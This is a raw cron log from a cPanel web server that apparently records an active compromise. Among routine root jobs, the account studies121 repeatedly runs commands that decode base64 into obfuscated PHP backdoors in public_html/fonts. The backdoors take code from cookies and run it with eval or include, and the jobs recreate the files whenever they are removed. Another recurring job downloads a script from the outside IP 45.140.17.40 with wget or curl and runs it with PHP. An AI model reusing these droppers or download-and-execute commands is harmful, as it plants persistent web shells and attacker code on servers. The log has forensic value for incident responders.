Sep  4 19:40:01 ip-184-168-122-23 CROND[11188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:40:01 ip-184-168-122-23 CROND[11184]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:40:01 ip-184-168-122-23 CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:41:01 ip-184-168-122-23 CROND[11297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:41:01 ip-184-168-122-23 CROND[11298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:41:01 ip-184-168-122-23 CROND[11299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:41:01 ip-184-168-122-23 CROND[11301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:42:01 ip-184-168-122-23 CROND[11396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:42:01 ip-184-168-122-23 CROND[11400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:42:01 ip-184-168-122-23 CROND[11399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:42:01 ip-184-168-122-23 CROND[11401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:42:01 ip-184-168-122-23 CROND[11398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:43:01 ip-184-168-122-23 CROND[11482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:43:01 ip-184-168-122-23 CROND[11483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:43:01 ip-184-168-122-23 CROND[11484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:43:01 ip-184-168-122-23 CROND[11485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:44:01 ip-184-168-122-23 CROND[11667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:44:01 ip-184-168-122-23 CROND[11669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:44:01 ip-184-168-122-23 CROND[11670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:44:01 ip-184-168-122-23 CROND[11672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:44:01 ip-184-168-122-23 CROND[11674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:45:01 ip-184-168-122-23 CROND[11770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:45:01 ip-184-168-122-23 CROND[11772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:45:01 ip-184-168-122-23 CROND[11774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:45:01 ip-184-168-122-23 CROND[11771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:45:01 ip-184-168-122-23 CROND[11773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:45:01 ip-184-168-122-23 CROND[11776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:46:01 ip-184-168-122-23 CROND[11865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11872]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 19:46:01 ip-184-168-122-23 CROND[11870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:47:01 ip-184-168-122-23 CROND[11986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:47:01 ip-184-168-122-23 CROND[11989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:47:01 ip-184-168-122-23 CROND[11990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:47:01 ip-184-168-122-23 CROND[11988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:48:01 ip-184-168-122-23 CROND[12091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:48:01 ip-184-168-122-23 CROND[12089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:48:01 ip-184-168-122-23 CROND[12090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:48:01 ip-184-168-122-23 CROND[12088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:48:01 ip-184-168-122-23 CROND[12092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:49:01 ip-184-168-122-23 CROND[12274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:49:01 ip-184-168-122-23 CROND[12275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:49:01 ip-184-168-122-23 CROND[12276]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 19:49:01 ip-184-168-122-23 CROND[12280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:49:01 ip-184-168-122-23 CROND[12278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:50:01 ip-184-168-122-23 CROND[12386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:50:01 ip-184-168-122-23 CROND[12388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:50:01 ip-184-168-122-23 CROND[12389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:50:02 ip-184-168-122-23 CROND[12393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:50:02 ip-184-168-122-23 CROND[12394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:50:02 ip-184-168-122-23 CROND[12396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:50:02 ip-184-168-122-23 CROND[12397]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:50:02 ip-184-168-122-23 CROND[12395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 19:50:02 ip-184-168-122-23 CROND[12398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:51:01 ip-184-168-122-23 CROND[12498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:51:01 ip-184-168-122-23 CROND[12500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:51:01 ip-184-168-122-23 CROND[12499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:51:01 ip-184-168-122-23 CROND[12501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 19:52:01 ip-184-168-122-23 CROND[12588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:52:01 ip-184-168-122-23 CROND[12589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 19:52:01 ip-184-168-122-23 CROND[12591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
